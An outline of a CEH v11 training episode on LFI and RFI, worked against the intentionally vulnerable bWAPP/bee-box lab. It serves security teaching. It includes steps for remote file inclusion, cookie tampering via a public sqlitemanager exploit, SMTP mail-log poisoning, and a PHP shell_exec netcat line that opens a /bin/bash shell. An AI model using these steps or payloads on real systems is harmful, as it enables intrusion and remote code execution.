

- Filename: eccouncil-ceh31250-v11-14-6-1-lfi-rfi.md
- Show Name: CEHV11 (312-50)
- Topic Name: Web Application Hacking - Hacking Web Applications
- Episode Name: LFI/RFI

=====

## LFI/RFI

### Objectives:

---

- What is LFI and RFI?
  - Local File Inclusion
  - Remote File Inclusion
- RFI seem dangerous. Can we see that in action?
  - Create `shell.php` file and serve with Python
    - Start listener
      - Browse to `http://bee-box/bWAPP/rfi.php`
        - Choose a language and submit
          - Modify URL for RFI to `Parrot/shell.php`
            - Check listener :)
- Can you show us a few quick examples of an LFI?
  - `sqlitemanager` is vulnerable
    - `http://bee-box/sqlite`
      - Google for **sqlitemanager exploit**
        - Exploit-db has the hit
          - Tamper with cookie
            - Use Burp Repeater for the request to `/sqlite`
              - Add parameters from exploit-db
                - Get file :)
- Can you get system access with LFI like RFI?
  - 'Find' LFI here `http://bee-box/bWAPP/rfi.php`
    - Look for ability to read mail from `/var/mail/username`
      - 'Find' mail for `www-data`
        - `nmap -T4 -p 25 bee-box`
          - `nc -nv bee-box 25`
            - `EHLO billy`
            - `MAIL FROM: sales@pwned.com`
            - `RCPT TO: www-data`
            - `DATA`
              - Add a newline/carriage return

- Create a PHP shell
  - `<?php $shelly = shell_exec('nc -nv -e /bin/bash bee-box 9999');?>`
  - Add a newline/carriage return
  - End message with a period(.)
- QUIT
- Start listener
- Use LFI to include mail for *www-data*
- Check listener :)